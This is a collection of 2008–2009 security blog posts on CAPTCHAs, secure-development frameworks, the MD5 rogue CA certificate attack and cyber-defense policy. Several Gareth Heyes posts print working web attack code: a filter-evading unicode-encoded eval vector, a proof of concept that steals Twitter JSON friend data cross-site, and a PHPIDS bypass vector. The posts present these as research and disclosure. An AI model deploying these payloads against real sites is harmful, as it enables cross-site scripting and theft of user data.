So on one end of the spectrum we have nothing which is what we are primarily doing now, and on the other a punishment that outweighs the crime. (Technically, we actually are doing something - we are making it less financially viable for the attack to be profitable by reducing the amount of spam that gets through, but we are a long way from succeeding, unfortunately). In the same way that the US wasn’t about to start using thermonuclear weapons in Vietnam and Korea and most likely won’t in Afghanistan either, we as a society aren’t going to start killing spammers at any rate necessary to act as a proper deterrent. Now I told you all of that so that I could get to the real meat of the matter. What is the proper proportionate response to computer crime to act as a deterrent?

There was an interesting section of a book (the title is escaping me as I write this) that described things that were off limits in a pen test. Things like rubber hose cryptanalysis are apparently not allowed during a pen test (although if anyone wants me to beat them up to see if I can get their password out of them, just let me know - I’ll give you a discount too). It’s funny but it’s also true. In the real world that is an option, just not one that many people use.

So things that are typically off the table that we don’t talk about as a real option are things like kidnapping loved ones, extortion, torture, and of course capital punishment. While all real actual options, we have tied our own hands and said we aren’t allowed to use them. We also take other options off the table, like hacking into people who hack into us, DoSing them and so on. We aren’t even allowed to fight back! So the real heart of the matter is what is the right response to a packet bound for your network that intends to do you harm? Should we keep ignoring it or should we instead track the originator to the ends of the planet and enact a gruesome deterrent for the greater good of all humanity?

No, put your gun down, I’m not saying we should go on a spammer killing spree, although I’d be plenty happy to use my rubber hose on them every once in a while. Perhaps instead of killing people we should make it a priority to actually pursue attackers instead of defending ourselves in a reactionary manner. My friend Mike Rothman is fond of saying “REACT FASTER”, but maybe reacting isn’t enough. Maybe we as a society are missing the most important dimension of this whole thing by focusing on reacting instead of going on the offensive.

We actually pursue shoplifters and put them in handcuffs, which in terms of monetary loss can pale in comparison to a computer criminal’s potential. Shoplifting is a relatively petty crime too, yet the consequences are so severe compared to the crime itself and with the wide proliferation of modern loss prevention technology most people don’t shoplift. Maybe if more people were actually forced to face the consequences of their computer crimes all over the world, it would have the effect the laws were intended to have - which is to limit the breadth and scale of the crime itself.

Until something like that happens, I find it difficult to believe we will ever see a real decline in computer crime. I know one thing for certain - what we’re doing now isn’t working.

The Spanner

Sliceya CAPTCHA

Posted: January 15th, 2009, 8:08am CST by Gareth Heyes

Tags: Security [edit]

If you’ve read this blog from the beginning you’ll know I like to write CAPTCHAS. The reason being is that it is a technical challenge to write something that a computer has difficulty reading. I think the Codetcha I wrote a while ago was successful in concept because the code errors would be very difficult for a computer to fix (if random enough). But the Codetcha only catered for technical users

Enter Sliceya! This new CAPTCHA relies on the fact that humans can identify a image or face easier than a computer can. The idea is you assemble slices of a picture in the correct order and type what you think the picture is. To make this hard for the computer to solve the keywords would have to be random enough and the picture should be different each time.

I’ve done a proof of concept which searches the web and brings back images that match the keywords you’ve sent. The picture is then dynamically sliced and you have to solve the puzzle and enter the correct keyword.

I would like to thank Ronald for testing and giving me some excellent suggestions.

Here is the proof of concept. Enjoy!
Sliceya!
Update…
I’ve removed the hint and it now accepts either part of the keyword. For example barac will be accepted even though the spelling is incorrect. Example here:-
Updated sliceya

Crazy javascript

Posted: January 15th, 2009, 2:58am CST by Gareth Heyes

Tags: Security [edit]

I’ve known for a while that the replace function can call native functions in Firefox and IE. It works something like this:-

‘alert(1)’.replace(/.+/,eval)

So the regexp searches for the alert string and passes the result to the eval function which it receives as an argument. But does it stop there? Well no actually. There’s more. Then we can use unicode escapes to encode the string further like so:-

'u0061u006cu0065u0072u0074u0028u0031u0029'.replace(/u0061u006cu0065u0072u0074u0028u0031u0029/,u0065u0076u0061u006c)

Remember javascript and regexp both accept unicode strings, this is interesting because we can double encode the vector like the above. The string contains javascript unicode escapes double encoded and the regular expression contains that string encoded. So that’s gotta be it right? C’mon it’s my blog, I wouldn’t just leave it there…

u0052u0065u0067u0045u0078u0070('u005cu0075u0030u0030u0036u0031u005cu0075u0030u0030u0036u0063u005cu0075u0030u0030u0036u0035u005cu0075u0030u0030u0037u0032u005cu0075u0030u0030u0037u0034u0028u0031u0029')[-1].u0072u0065u0070u006cu0061u0063u0065(u0052u0065u0067u0045u0078u0070('u005cu0075u0030u0030u0035u0063u005cu0075u0030u0030u0037u0035u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0036u005cu0075u0030u0030u0033u0031u005cu0075u0030u0030u0035u0063u005cu0075u0030u0030u0037u0035u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0036u005cu0075u0030u0030u0036u0033u005cu0075u0030u0030u0035u0063u005cu0075u0030u0030u0037u0035u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0036u005cu0075u0030u0030u0033u0035u005cu0075u0030u0030u0035u0063u005cu0075u0030u0030u0037u0035u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0037u005cu0075u0030u0030u0033u0032u005cu0075u0030u0030u0035u0063u005cu0075u0030u0030u0037u0035u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0037u005cu0075u0030u0030u0033u0034u005cu0075u0030u0030u0032u0038u005cu0075u0030u0030u0033u0031u005cu0075u0030u0030u0032u0039'),u0065u0076u0061u006c)

The above uses RegExp and eval both of which are unicode escapes. Because the RegExp constructor is used we can pass a string that becomes decoded by javascript but we can then encode again as unicode regular expressions. [-1] signifies the text from the regular expression constructor we use this to replace.

Having trouble decoding? Well Hackvertor can help:-
[tinyurl.com]

Calling the Array constructor in IE

Posted: January 8th, 2009, 2:53pm CST by Gareth Heyes

Tags: Security [edit]
I had a conversation a while ago on email with Billy Hoffman about how in IE the Array constructor wasn’t called when using [] to create arrays. The question is, was he right? Technically yes but actually no

You see Arrays in JScript are actually objects and not arrays, so trying to overwrite the Array constructor will have no effect. However using the Object constructor does. I found this while hacking away in JSON to create my Twitter POC.

The is a strange quirk which although it technically is the same code it results in different behaviour. Take the following example:-
```
function Object() {
 alert(arguments[0]);
}
([1,2,3]);
```
That doesn’t work but…look at this example:-
```
var Object = function() {
 alert(arguments[0]);
}
([1,2,3]);
```
It works! Yay! Strange but true. Don’t ask how I found this but it was either by fuzzing, playing around in Hackvertor or pure luck
I know what your friends did last summer

Posted: January 7th, 2009, 10:50am CST by Gareth Heyes

Tags: Security [edit]
I did report this to Twitter a few weeks ago, but now that Chris Heilmann has let the cat out of the bag I’ll post my repro now. Basically Twitter JSON security is leaking data, the JSON feeds that are publically available shouldn’t be IMO or at least protected using known methods.

So if you use Twitter a web site can know who you are and who your friends are. Spammers could you this data to automate targeted spamming attacks or maybe automated social engineering, you’re more like to open a email attachment off your friends right?

The attack works by including the JSON data using a script tag on any web site, using setters you can get the data of the JSON feed in every browser except IE (in my testing).
```
<script>
Object.prototype.__defineSetter__('user',function(obj){for(var i in obj) {alert(i + '=' + obj[i]);} });
</script>
<script defer="defer" src=https://twitter.com/statuses/friends_timeline/>
</script>
```
Originally I thought it was a bug in Firefox, that’s why I’ve used Object.prototype and not simply Object but I found a post by Joe Walker which uses a far better technique to grab all the data.

Here is the proof of concept to prove I do know what your friends did last summer:-
twitter json hack
PHPIDS bypass

Posted: January 4th, 2009, 3:28pm CST by Gareth Heyes

Tags: Security [edit]
I haven’t hacked the PHPIDS for a while but David Lindsay (AKA Thornmaker) inspired me. When I say hacked I mean in a good way because finding bypasses helps improve the filters

Here is my vector:-
```
/Please submit the string
to help us make the 
PHPIDS better./,y=('aler
t'),x=this,x=x[y]
x('I cant let you have all the fun thornmaker'),/abc abc
abc abc abc
abc
/,/abc abc
abc abc abc
abc
/
```
Notice the English like text in order to bypass the centrifuge detection. I use backslashes to create strings in order to bypass the regular expressions. “this” refers to the current window and the string alert is passed to the window object which creates a reference to the alert function. It’s worth noting Mario fixed it very quickly so it no longer works. If you want a go and want to come up with your own vector then check out the phpids demo page.

Justice League

Not so Surprising [2,10]

Posted: January 2nd, 2009, 12:52pm CST by jOHN

Tags: Software Security [edit]
In the last entry, I responded to dashboard initiatives and organizations’ attempt to measure. Examples focused on vulnerability-detection because a lot of software security expenditure has as well.

Some practitioners, as well as software security managers, have realized that a focusing only on uncovering the problem won’t get it fixed. They’ve begun to document secure sample code, construct secure-development frameworks, and even harden existing open-source frameworks in order to make secure application development easier. This trend cuts across those IT shops supporting non-software businesses (such as finance, insurance, gaming, and the like) as well as software vendors. Let’s look at the 2nd surprising finding from SAMM data gathering, as published in Gary’s InformIT article:

8. Secure-by-default frameworks can be very helpful, especially if they are presented as middleware classes (but watch out for an over focus on security “stuff”).

Secure-by-default frameworks for aiding in development are absolutely my favorite part of software security. Not only do they make sense as part of any program, they represent an essential corner-turn from a hopeless attempt to keep developers abreast of what they’re doing wrong to the downward push towards the finish line by helping developers release better software. In 2001, plainly sick of documenting and demonstrating the same vulnerabilities over-and-over again in meetings and reports, I begun to talk about, seek money for, and outline what such a framework might look like for use of Servlets in the Java EE platform. Frankly, sometimes it’s just plain easier to describe how to do something correctly than it is to conceive of pen-tests or static analysis rules that will find all instances of vulnerability, some omission, or an incorrect implementation.

But, I’m not the only one that’s been climbing this hill: A broad range of approaches to constructing such frameworks are visible within my own client base.

Some organizations have taken their cue from what the network and host security guys have done in their own spaces. These software security groups see software security as a mapping between vulnerability and the need for control. This drives two sets of behavior:

With regards to the software they build, these organizations tend to strive towards having some central engineering team (or a particular development group) provide a ’security control’ that they can plug in for each vulnerability. This has had two effects in my experience:
1. The ’security framework’ ends up as an amalgam of functions designed in very point-solution fashion. For example OWASP ESAPI’s addCSRFToken() method. (see code)
2. ‘design review’ becomes a checklist activity in which security folk (playing the role of auditor) walk through a list of features they expected to include, such as those API calls described in #1 or at a higher level the inclusion of a particular security package: IE: “You’ve used ClearTrust for authentication–right?”
With regards to the software, infrastructure, and COTS these organizations purchase, they tend to apply a modified checklist (such as #2) during acquisition, and then–in the case in which they’re acquiring a security component itself–add it to the checklist for future reviews.

There are benefits to this level of framework creation/use (namely, it raises awareness of the problem, standardizes solutions making compliance easier to gauge, and does in fact place some useful functionality in the hands of developers they might have otherwise omitted or bumbled themselves).

However, I think this approach misses the mark for several important reasons.

Others build their security frameworks from scratch. Convinced that their organization is different enough to warrant their own unique approach they set to construction. Some organizations cull framework material from ‘centers of excellence’ within their organization: development teams that have already done a great job at something like demanding authentication and invalidating sessions. Others architect the security framework centrally, construct it, and then deploy it mandating development teams integrate with it as they continue otherwise normal maintenance of their apps.

There’s intrinsic benefit and difficulty to a purely bottom-up or top-down approach. If an organization goes purely bottom-up, their difficulty lies in coordinating and architecturally cohering different teams’ widgets into a common framework. The strength they can rely on is buy-in: developers are hard-pressed to complain about what they and their peers have written. The top-down approach lacks buy-in and (at times) practicality, but often enjoys a coherent unified design.

Early in ‘07, I wrote on a model for mixing the two approaches successfully.

Whether executed top-down, bottom-up, or through some compromise, I like this approach better than the one I described above. My biggest issues with it are:
1. It can become a political monster, especially if top-down
2. Being overly unique (ala: “not-invented here” or “I’m a snowflake” pathologies) can be damning
The more top-down an approach is, the more likely developers are to balk at mandates for the framework’s use. “Pfft, but that won’t work the way we built our app.”, they’ll lament. If you hear that, prepare for a deluge of exception forms. ;-)

So, how are people overcoming limitations of an ineffective feature-centric audit-model and the pains suffered from inventing their own framework from scratch? By, “meeting the developer on ‘their side of the river’”, as it was once said to me.

When a developer sits down to write or maintain a web application, they’re doing so within a very rich platform already. The .NET platform has well-integrated set of tools from the webserver up to application-support functionality provided by a single vendor: Microsoft. The Java EE platform focuses on open standards, and as such has a bevy of open-source packages that support the lower-levels of the stack that Sun provides. Simply put: a developer writing a Java EE web app is already conforming to the Servlet framework, if not the Struts, JSF, or some other MVC package. They know the platform’s packages, they’re already using them, and there are tons of great books, tutorials, and examples out there.
This is their side of the river. Demanding they build on top of those packages, but integrate with another package–for the sake of security alone–is folly.

A better answer to creating one’s own security framework–and I’ve seen this in play in more than one organization–is to secure a framework the developers already know. This:
- Maintains current platform design idiom - If Spring is ‘the right design paradigm’–great, you’re using with without having to have invented it;
- Allows consideration of the framework’s threat model - It’s easier to secure a system you know the design/deployment model of, than it is to write ‘the perfect’ security feature in a vacuum;
- Maintains transparency, as best as possible - Those securing the framework can place implementation ‘under the hood’ allowing developers to call functions as normal;
- Moves security ‘lower in the stack’
- Reduces integration points for developers
To me, these advantages are overwhelming. Showing the benefits of faithfully maintaining the underlying framework’s design could be the subject of its own entry entirely and–I feel–places the nail in the coffin of those arguing that security can be represented simply as features. I’ll defer that for now however.

Fixing problems instead of identifying them? Security guys getting traction by helping developers write code and get it out the door faster? Meeting them within the realm of the frameworks they’re already using: hardening their configuration, implementation, and deployment? This works?

Not surprising ;-)
Not so Surprising [1,10]

Posted: December 31st, 2008, 12:14pm CST by jOHN

Tags: Software Security [edit]

Like Ken and Brian I’m pleased that results from this study are getting out there. I recently participated in the OWASP EU Summit, where Pravir and I conducted a session on the maturity model. The session had valuable industry participation.

One of the things I’ve harped on for years now is that experts need to pull their heads up from whatever they’ve gotten so good at doing in the weeds and avail themselves of some of the lessons learned by organizations that have been working on software security themselves. In 2006, I presented on “building one’s own software security group” and one of my first five slides uncovered a dirty little secret–true now as it was then: Fortune 500 security groups often possess more man-power and budget than security security consultancies. I see this maturity model study and the response/involvement of the people I’ve mentioned here as a giant step in the public recognition of the value security groups within large commercial entities have been providing.

To follow up on Gary’s InformIT article, I’ll be writing a series of posts on why these “Top 10 surprises” don’t come as a shock to us at Cigital and what it might mean for organizations. I’ll go in reverse order:

9. Not only are there are no magic software security metrics, bad metrics actually hurt.

First, a clarification. Gary’s article indicates that:

but even the most advanced programs don’t use any sort of balanced scorecard approach.

I certainly talk to organizations that rely on a scorecard, especially at the executive level, to report on software security activities. What’s interesting to me is the horror stories organizations tell about chasing the wrong metric. First, they lament how tracking “the wrong thing” motivated unexpected (and undesirable) behavior changes in the staff they were trying to effect. I’ve personally seen things like developers manipulating their code to break static analysis tools, signing a training sign-in sheet then leaving for the day, and vulnerability fixes that cause terrible residual risk (But pass a regression test in the form of a penetration testing exercise). Developers ‘hacking’ the system of control? We shouldn’t be surprised.

In my opinion, organizations charged the scorecard hill too early. They were frustrated with how “Fear-driven” security was but simply didn’t know what underlying measures would raise their visibility into key areas. Just as bad, they didn’t know how to take measurements precisely and inexpensively. I want to explicitly except organizations like GE from this analysis, BTW, as their rich history of scorecard management deserves its own treatment. For information on this, see GE’s presentation at Metricon 2.0.

Though there is often some pretty easy low-hanging fruit, leading organizations have begun to realize that deploying sensors to answer questions about software security spending is trickier than expected. Success involves looking at things on different levels than their budgetary line-items have defined. For instance, people are paying for penetration testing and they may have allotted money for a static analysis tool or code review services (or both). However, to determine and increase the efficiency of their assessment practices, organizations are finding more success with normalizing vulnerability findings reports, tying them back to what detected them, and generating “cost per findings” from there, rather than micro-optimizing each assessment technique itself. In my experience, this causes organizations to shift focus between assessment activities in ways that surprise them, but provide a profoundly cheaper overall assessment cost. As a result, organizations are surprised that a slight resurgence in penetration testing allows them to uncover authentication problems in their web applications more cheaply than the recently more favored static analysis tools are allowing them to. Likewise, simple customization of static analysis tools has allowed them to delete whole swaths of test cases that distracted or bloated their penetration testing efforts. More on this phenomenon can be found in my recent article.

I believe a scorecard will emerge. I believe metrics like “cost per finding” will begin to make sense and provide valuable decision support when organizations further mature the consistent application of their software security practices and realign the things they’re measuring. But, right now, great software security managers are conducting more “under the hood” diagnostics than “roll-up” reporting to increase effectiveness of their groups, reduce their cost, and weather this economic storm. No surprise there ;-)

Dominic White's .tHE pRODUCT

Initial Ideas on How to Detect a Rogue CA Cert

Posted: December 31st, 2008, 3:48am CST

Tags: Security [edit]
Based on Verisign's response here and here (in the comments), they have prevented future attacks, but seem to find the undermining of their PKI for the next several years an acceptable risk versus revoking thousands of certificates at great expense. However, Tim did mention that if they can find a unique characteristic of the bad certs, that would help, here's my attempt.
- The Netscape Comment Block won't conform to the ASN.1 IA5String type. From the paper:
  
  These two problems together ask for a place in the rogue CA certificate to hide 427 bytes of data in, some of which are random looking, and some of which have an interpretation that should not be shown in certificate viewers. The solution we adopted is to define a so called "Netscape Comment" block. This is a proprietary extension in which any data can be stored, which will be ignored by most certificate processing applications, including the major browsers. There is a small problem here in that formally the contents of this field must be of type IA5String, and our content is not of that form. An ASN.1 parser that strictly follows the standard will complain about this, as happens e.g. with Peter Gutmann's program "dumpasn1". But as most application software ignores the extension anyway, the certificate with this standard violating field in it will still be accepted in practice. It is conceivable that the 427 bytes could have been hidden in a different extension field (there is even an X.509 certificate with a movie hidden inside).
  
  This won't work if an end-use cert, such as a website cert is generated instead of a CA cert, as in the former's case the 'tumour' can be hidden in the public key block.
- The signing certificate of the rogue CA will be the wrong one for an intermediary CA, if the CA has set their PKI up properly:
  My reasoning for this, is that if you have (for example) a three tier PKI. With an off-line root CA, and intermediary issuing CA, and end-point signing CAs; then any intermediary CA certs issued should be signed by the middle point in the tier and not the end-point. Once again, this won't work if the rogue cert is a an end-use cert instead of an intermediary CA cert, but this reduces the scope of the attack significantly, as a weekend of burning through 200 Playstation cores will only break one site, instead of allowing a transparent mitm.
- The CA that signed a certificate uses the MD5 hashing algorithm:
  By itself this does not indicate a problem, but combined with the other two factors above, if false, it would allow the cert to be excluded as untrusted.
If these and other factors can be discovered, certificate validation routines can be updated to proactive detect rogue certs based on the current attack (Firefox add-on anyone?). I'm not sure how modifications to the attack will affect these. For example, if MD5 collision attacks become advanced enough to generate collision blocks that are ASN.1 valid, it would be excluded, although it feels like a a significantly big hurdle for it to remain effective.

Michael Howard's Web Log

Free Download: Writing Secure Code for Windows Vista

Posted: December 30th, 2008, 10:07pm CST by michael_HOWARD

Tags: Security [edit]

"For 25 years, Microsoft Press books have focused on helping you take your skills and knowledge to the next level. Celebrate our 25th Anniversary with a "Free E-Book of the Month" offer! Simply sign up for the Microsoft Press Book Connection Newsletter for notification of offers, register, and download the selection of the month."

[csna01.libredigital.com]

:)

Dominic White's .tHE pRODUCT

Using MD5 Collions to Create a Fake CA Certificate

Posted: December 30th, 2008, 11:24am CST

Tags: Security [edit]
The presentation by Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik and Benne de Weger is done. I am busy reading up on it and will post a summary and my thoughts here a bit later. Those are happening real-time on my twitter feed or on the right panel of my blog.
There's already a lot of coverage on this. I'm going to dig into laying blame, and potential geeky solutions for the end user.
The Attack
I need to cover this quick. The below paragraph from the white paper was the one which explained what was being done the best.

Our attack scenario basically is as follows. We request a legitimate website certificate from a commercial Certification Authority trusted by all common browsers. Since the request is legitimate, the CA signs our certificate and returns it to us. We have picked a CA that uses the MD5 hash function to generate the signature of the certificate, which is important because our certificate request has been crafted to result in an MD5 collision with a second certificate. This second certificate is not a website certificate, but an intermediary CA certificate that can be used to sign arbitrary other website certificates we want to issue. Since the MD5 hashes of both the legitimate and the rogue certificates are the same, the digital signature obtained from the commercial CA can simply be copied into our rogue CA certificate and it will remain valid.

For more detail, you can check these out:
- Detailed explanation
- Slides from the 25c3 presentation
- Demo site (set your system date to August 2004 before clicking)
Blame
At first, the fault of this attack lies with the certificate authority vendors who have been using MD5 despite several warnings that it was broken. The fault is also partially with us security guys for not ranting harder about the fact that they were using a known broken protocol. However, this is not the first trouble with CAs, for example in the past it has been possible to get certain trusted and lax CAs to issue fraudulent certificates.

How is it then, that we have companies who's sole job is to make sure people are who they say they are and own what they say they do and represent that in the beauty of mathematical cryptographic certainty get one, or the other or both of these wrong?

We have standards and audit procedures for CA's, to name a few (courtesy of Mozilla's CA inclusion policy):
- Annex B, "(Normative) Certification Authority Control Objectives", of ANSI X9.79-1:2001, Part 1: PKI Practices and Policy Framework;
- Clause 7, "Requirements on CA practice", in ETSI TS 101 456 V1.2.1 (2002-04) or later version, Policy requirements for certification authorities issuing qualified certificates (as applicable to either the "QCP public" or "QCP public + SSCD" certificate policies);
- Clause 7, "Requirements on CA practice", in ETSI TS 102 042 V1.1.1 (2002-04) or later version, Policy requirements for certification authorities issuing public key certificates (as applicable to any of the "NCP", "NCP+", or "LCP" certificate policies);
- "WebTrust Principles and Criteria for Certification Authorities" in AICPA/CICA WebTrust Program for Certification Authorities, Version 1.0; or
- "WebTrust for Certification Authorities—Extended Validation Audit Criteria" in WebTrust for Certification Authorities—Extended Validation Audit Criteria (or, for CA requests received on or before June 30, 2008, the November 20, 2006 draft of these criteria) (in conjunction with "WebTrust Principles and Criteria for Certification Authorities").
Let's take Thawte as an example, since they were started by a South African and were fingered in the talk today as one of the vendors who are still using MD5 signing. They are audited annually against the WebTrust Program for Certification Authorities by KPMG. The report for 2007 can be found here, and the certificate here (RapidSSL's is here, both RapidSSL and Thawte are owned by Verisign). Both the reports come out clean. So either the auditors missed this, or the standard doesn't check things as basic as the hashing algorithm. A quick check of the standard makes no specific mention of the hashing algorithm, but generically refers to encryption algorithms as needing to meet the relevant criteria based on a "risk assessment and the business requirements of the CA." Given that no properly conducted risk assesment would highlight MD5 as acceptable, it can be assumed the risk assesment was not proper. So every year since MD5 has been highlighted as broken, the auditors have failed to notice this problem. This slips neatly through the accountability gaps it seems. In the end, here's my blame list in order of decreasing severity:
1. The CAs - it's their business and they need to proactivley secure it, especially when public warning of problems have been given.
2. The auditors - they're paid to validate what the CA is doing, and have specifically reviewed and signed off on the key management practises of most of the affected CAs.
3. WebTrust - a certificate standard needs to be more specific about something as fundamental as a hashing algorithm, and ideally proactivley highlight the risk of MD5 to the CAs and auditors.
4. Every security guy who has received an MD5 generated cert hash and never gone further than thinking "Isn't MD5 broken?" (I'm one of them.)
Solution
There are a bunch of hard, kak, solutions that the CA need to work with. Certificate Revocation Lists aren't implemented well, and at most will provide a reactive solution in cases where malicious activity is uncovered, much like anti-virus :) I'm not going to get into those.

For the rest of us, we need to trust CAs much less. Not just until the affected CAs move away from MD5, but until the root certs stored in your applications (like your web browser) expire and are changed. This is because the rouge intermediary CA certs will look legit as long as those are. Even then, I don't trust CA's much. I already suggest that in some cases previous to this bug, that certs should be treated like SSH keys. This require evaluating each certificate and trusting it specifically. An easy way to do that beyond having their fingerprints tatoo'ed on your arm is to use the Petnames's add-on for Firefox. The first time you visit a website using SSL that you need to be secure, examine the certificate, if if looks legit, assign it a petname by typing it into the petnames toolbar. Then make sure whenever you visit the site that the petname is displayed. If the petname stops being displayed, try and work out if the previous cert has expired or been legitimately replaced, if not, then it could be a man-in-the-middle attack. A few of the way I recommend checking whether a cert is valid are (in order of usefulness):
1. Check that the URL you're at is the right one. If you want to be a standardbank.co.za make sure there isn't anything else after the za.
2. Make sure all the usual requirements for validity are met. The easiest way to do this is to make sure your browser doesn't pop up any warnings (I'm talking about banks not this site :) ).
3. Check if a user on another computer, using a seperate internet link is presented with the same certificate (double click the lock icon and check the fingerprints).
4. The certificate has been the same for the past couple months/years (this is part of the ongoing observation, rather than the initial).
5. Check that the companies listed in the cert are what are expected, I put this last for a reason.
Apart from (4) this is a once off evaluation that can then be looked after by your petname. It's also something you can install for your non-techie mother and teach her to follow fairly easily: "If this is ever not green or not saying Standard Bank, then phone me."

That's all for now.
OpenVAS & Metasploit

Posted: December 28th, 2008, 4:06pm CST

Tags: Security [edit]

hdm just posted a graphic on his twitter feed of an OpenVAS client talking to a Metasploit server. This is pretty cool, and the possibility of integrating Nessus OpenVAS at the NASL NVT level (assuming that's what's happening) gives a good reason for greater adoption of the OpenVAS project.

Disenchant's Blog

Certified Secure Web

Posted: December 25th, 2008, 1:29pm CST by Disenchant

Tags: Security [edit]

Hi everyone out there, I know that it was a long time since I wrote my last blog posting but as most of you know, time is always rare. Anyway, I’ll try to write more in the feature, especially because there is really stuff, I think it’s worth to write about. So today I’d like to talk about one big project, I was involved during about the last year at my workplace at Dreamlab Technologies, it’s the CSW certification.

You might ask yourself now: What the hell is CSW? CSW is short for Certified Secure Web, which is a security certification framework for the web. Actually we’ve got two certification types, the CSWT where T is short for Technology which means certification of web applications and we’ve got also a CSWD, which’s thought to stand for Developers. Before I go more into more details, I have to say that the CSW certification framework is thought to be open and not just for Dreamlab Technologies. We’re only a part of the CSW, the real certification is done by an independent party which is in our case a backend, built of educational organizations like for example universities, combined with partners like us. So this is not just poor advertising, we’re really looking for people/companies who’re interested in this all over the world.

Normally I would say, go to [https:], where you can find all the information you need but unfortunately, the site is still only available in German, even if the English version is afaik ready.

So, what is CSW: “Certified Secure Web is an initiative to increase the overall security of web applications and also to provide a certification for Technology (Applications) and Developers.” (A free translation of the text on the CSW website, from German into English). It’s based on the OSSTMM by ISECOM, the Threat Classification of the WASC and on different resources, provided by the OWASP. With these different resources we think, that we can really provide a certification, which is worth the paper it’s printed on, even if we know that also the CSW certification can’t be perfect at all. Something which is also special on CSW is, that we don’t want to say that an application is secure and “hacker safe” (oops, sorry guys ) but we would like to certify a security baseline for web applications and help companies getting a more secure application.

I could go on with this for hours but I think it’s better to write my next two postings directly on CSWT and CSWD because it will say much more on what we’d like to achieve and in which way.

For specific questions or if you’d like to get involved, please just contact me or leave a comment

… and of course merry Christmas and a happy new year

Justice League

Structuring for Strategic Cyber Defense: State of the Nation and What We Can Do

Posted: December 22nd, 2008, 12:02pm CST by jeremy

Tags: Software Security [edit]
I’ve been an organizer of ACSAC in one capacity or another for close to 20 years now, and I’ve managed to attend most years. The conference always meets in early December in a southern US city (2008 in Anaheim, 2009 in Honolulu). This year’s keynote speakers were Sami Saydjari (formerly of NSA and DARPA, and now president of his own consulting company) and Whit Diffie (Distinguished Fellow at Sun, and famous inventor of public key cryptography).

I found Sami’s talk (”Structuring for Strategic Cyber Defense: A Cyber Manhattan Project Blueprint”) both energizing and frightening. I’ve known Sami for many years, and worked with him in several capacities, and have seen his concerns for the safety of the US develop over the years. Sami views cyberspace not just as an extension of “traditional” warfare (which he dubbed “kinetic” some years ago), but as a space in its own right, with its own assets - instead of land and people controlled (or damaged/destroyed/killed), it’s information that’s at risk. He pointed out that our enemies - whom he doesn’t hesitate to name, most notably the Chinese government - are investing in all-out attacks against the US, focusing on destroying our infrastructure including power and banking. (If you think the meltdown on Wall Street of the past few months has been bad, think of how much worse it could have been if coupled with a cyberattack to wipe out banking records!) While Sami’s focus is on the US, he points out that the threat is not only to the US, but also to any other technology-dependent country, which includes most of the developed world. He believes the threat is the same order as the nuclear threat during the cold war, which was a threat to national sovereignty.

Sami noted “It’s time to stop speculating about the threat, and time to do a risk assessment”, and then described the “Dark Angel” tabletop exercises that showed how an adversary with $500M (a tiny fraction of what we’re spending on bailing out the auto industry!) and three years could take out 70% of the power infrastructure of the US for an extended period of time - think about the lawlessness in the wake of Hurricane Katrina, and extend that across the entire country for a period of months or longer.

Sami noted that “the debate between talking heads has to stop” and called for an expert congressional commission similar to the Rogers commission that studied the Space Shuttle Challenger disaster, in which Richard Feynman played a key role.

On the positive side, the incoming Obama administration seems more aware of the issues of cybersecurity than any prior administration.

Sami is calling for a Cyber Manhattan Project with the vision (to overcome national strategic vulnerabilities ASAP) and urgency (because there’s plenty of means, motive, and opportunity for an attacker) to develop strategic capabilities, including continuity of critical information infrastructure operations (perhaps including “dark power” similar to “dark fiber” available in case of emergency), addressing the systems that are designed to “fail safe fail by having catastrophic failures”, figuring out how to “reboot the power grid” in case of a failure (the power grid requires power to get started), asymmetric threats (a $500M attack could cause $1T damage), situation awareness, and metrics-based quantifiable security.

Finally, he called for the Right organizing model (along the lines of DARPA for research and NASA for operations rather than a bureaucracy like DHS), at the Right Place (in the White House, to be above the fray), with the Right Clout (a presidential statement of support), and the Right Authority (bureaucracies cannot have power over the money).

Sami certainly isn’t the only one commenting on the urgent need to address cybersecurity threats. If you haven’t read the report of the “Commission on Cybersecurity for the 44th Presidency” it’s well worth it, although it’s not as demanding as I’d like to see. Also, see a recent Wall Street Journal article (titled “Internet Attacks Are a Real and Growing Problem: A new report says cyberwar isn’t science fiction”) .

After his talk, several of us asked Sami what we could do as individuals to further the Cyber Manhattan Project. Following is his answer, reproduced with his permission.
1. Educate yourself. Learn about the nature and gravity of the national strategic cyber risk and bold and effective moves that could mitigate those risks. Learn about the policy realm and what the issues are so that youcan speak intelligently about good and bad cyber defense policy. Take a policy expert out to lunch. Learn about related history such as the early formation of NASA and of the (U.S. and U.K) Air Force and how these big changes were possible against the barriers that the establishment always puts up to such big changes.
2. Educate your peers. Once you educate yourself, help educate your professional peers through one-on-one debates and discussions. Give professional talks to peer group at conferences and to graduate level students about to emerge into the professional world.
3. Educate the public. Securing the national cyber vulnerability will require significant investment of resources and significant educational, legal, and cultural attitude changes. This requires that the public be educated on this issue and that a national public discussion take place. Facilitate this discussion by educating the public through lectures and talking to the press in terms that they can understand. I find that analogies like the Manhattan project and the space race are helpful to frame the debate. Wrote Op Ed pieces.
4. Educate leadership. Advocate for sound public policy in strategic cyber defense. Talk to executive branch leadership at whatever level you have access to help them understand the types of actions our country needs to address these risks and encourage them to take an active role. Meet with members of the legislative branch and their staff and advocate for legal and policy changes and appropriate investments to mitigate national risk. Government has a responsibility to “provide for the common defense” as laid out in the constitution. Hold the government accountable to step up to that duty to the emerging cyber space territory in the information age.
5. Serve. This is a hard one. There are at least two important ways to serve, but both will involve your most precious asset: your time. Consider investing 10% of your career in public service. This could include joining non-profit advocacy groups that help move for change and improvement in some aspect of national cyber defense. The second major category is to serve inside the government to change things from within. This can be extremely hard because it means disrupting your normal career path and perhaps your family. It is also hard when the degree of change is great and the system resists that change with all its might. Yet, this can be one of the most effective ways to cause significant change. Try hard to answer the call, particularly in later parts of your career when you have the experience and network to be most effective.

The Spanner

Hackvertor video demo

Posted: December 18th, 2008, 10:33am CST by Gareth Heyes

Tags: Security [edit]

I’ve finally created a Hackvertor video demo, I’ve encoded it in swf and compressed it quite a lot. The quality is good and at a high resolution but the colours are a bit out other than that it should be quite clear how it works. The demo is available here:-

Hackvertor video demo

cat slave diary

IE exploit spreading via SQL injection

